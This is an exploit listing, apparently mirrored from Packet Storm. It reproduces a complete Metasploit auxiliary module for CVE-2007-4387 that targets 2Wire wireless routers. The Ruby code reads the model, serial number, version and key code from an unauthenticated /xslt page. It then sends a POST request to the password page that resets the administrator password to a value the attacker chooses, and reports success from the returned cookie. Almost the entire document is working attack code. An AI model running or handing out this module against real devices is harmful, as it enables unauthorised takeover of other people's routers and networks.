Exploit for 2Wire Cross-Site Request Forgery Password Reset CVE-2007-4387

## https://sploitus.com/exploit?id=PACKETSTORM:180754
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "2Wire Cross-Site Request Forgery Password Reset Vulnerability",  
'Description' => %q{  
This module will reset the admin password on a 2Wire wireless router. This is  
done by using the /xslt page where authentication is not required, thus allowing  
configuration changes (such as resetting the password) as administrators.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'hkm [at] hakim.ws', #Initial discovery, poc  
'Travis Phillips', #Msf module  
],  
'References' =>  
[  
[ 'CVE', '2007-4387' ],  
[ 'OSVDB', '37667' ],  
[ 'BID', '36075' ],  
[ 'URL', 'https://seclists.org/bugtraq/2007/Aug/225' ],  
],  
'DisclosureDate' => '2007-08-15' ))  
  
register_options(  
[  
OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])  
])  
end  
  
def post_auth?  
false  
end  
  
def run  
  
print_status("Attempting to connect to http://#{rhost}/xslt?PAGE=A07 to gather information")  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => '/xslt?PAGE=A07',  
}, 25)  
  
if not res  
print_error("No response from server")  
return  
end  
  
# check to see if we get HTTP OK  
if (res.code == 200)  
print_status("Okay, Got an HTTP 200 (okay) code. Verifying Server header")  
else  
print_error("Did not get HTTP 200, URL was not found. Exiting!")  
return  
end  
  
# Check to verify server reported is a 2wire router  
if (res.headers['Server'].match(/2wire Gateway/i))  
print_status("Server is a 2wire Gateway! Grabbing info\n")  
else  
print_error("Target doesn't seem to be a 2wire router. Exiting!")  
return  
end  
  
print_status("---===[ Router Information ]===---")  
  
# Grabbing the Model Number  
if res.body.match(/<td class="textmono">(.*)<\/td>/i)  
model = $1  
print_status("Model: #{model}")  
end  
  
# Grabbing the serial Number  
if res.body.match(/<td class="data">(\d{12})<\/td>/i)  
serial = $1  
print_status("Serial: #{serial}")  
end  
  
# Grabbing the Hardware Version  
if res.body.match(/<td class="data">(\d{4}-\d{6}-\d{3})<\/td>/i)  
hardware = $1  
print_status("Hardware Version: #{hardware}")  
end  
  
# Check the Software Version  
if res.body.match(/<td class="data">(5\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td>/i)  
ver = $1  
print_status("Software version: #{ver}")  
else  
print_error("Target is not a version 5 router. Exiting!")  
return  
end  
  
# Grabbing the Key Code  
if res.body.match(/<td class="data">(\w{4}-\w{4}-\w{4}-\w{4}-\w{4})<\/td>/i)  
key = $1  
print_status("Key Code: #{key}\n")  
end  
  
print_status("Attempting to exploit Password Reset Vulnerability on #{rhost}")  
print_status("Connecting to http://#{rhost}/xslt?PAGE=H04 to make sure page exist.")  
  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => '/xslt?PAGE=H04',  
}, 25)  
  
if ( res and res.code == 200 and res.body.match(/<title>System Setup - Password<\/title>/i))  
print_status("Found password reset page. Attempting to reset admin password to #{datastore['PASSWORD']}")  
  
data = 'PAGE=H04_POST'  
data << '&THISPAGE=H04'  
data << '&NEXTPAGE=A01'  
data << '&PASSWORD=' + datastore['PASSWORD']  
data << '&PASSWORD_CONF=' + datastore['PASSWORD']  
data << '&HINT='  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => '/xslt',  
'data' => data,  
}, 25)  
  
if res and res.code == 200  
cookies = res.get_cookies  
if cookies && cookies.match(/(.*); path=\//)  
cookie= $1  
print_good("Got cookie #{cookie}. Password reset was successful!\n")  
end  
end  
end  
  
end  
end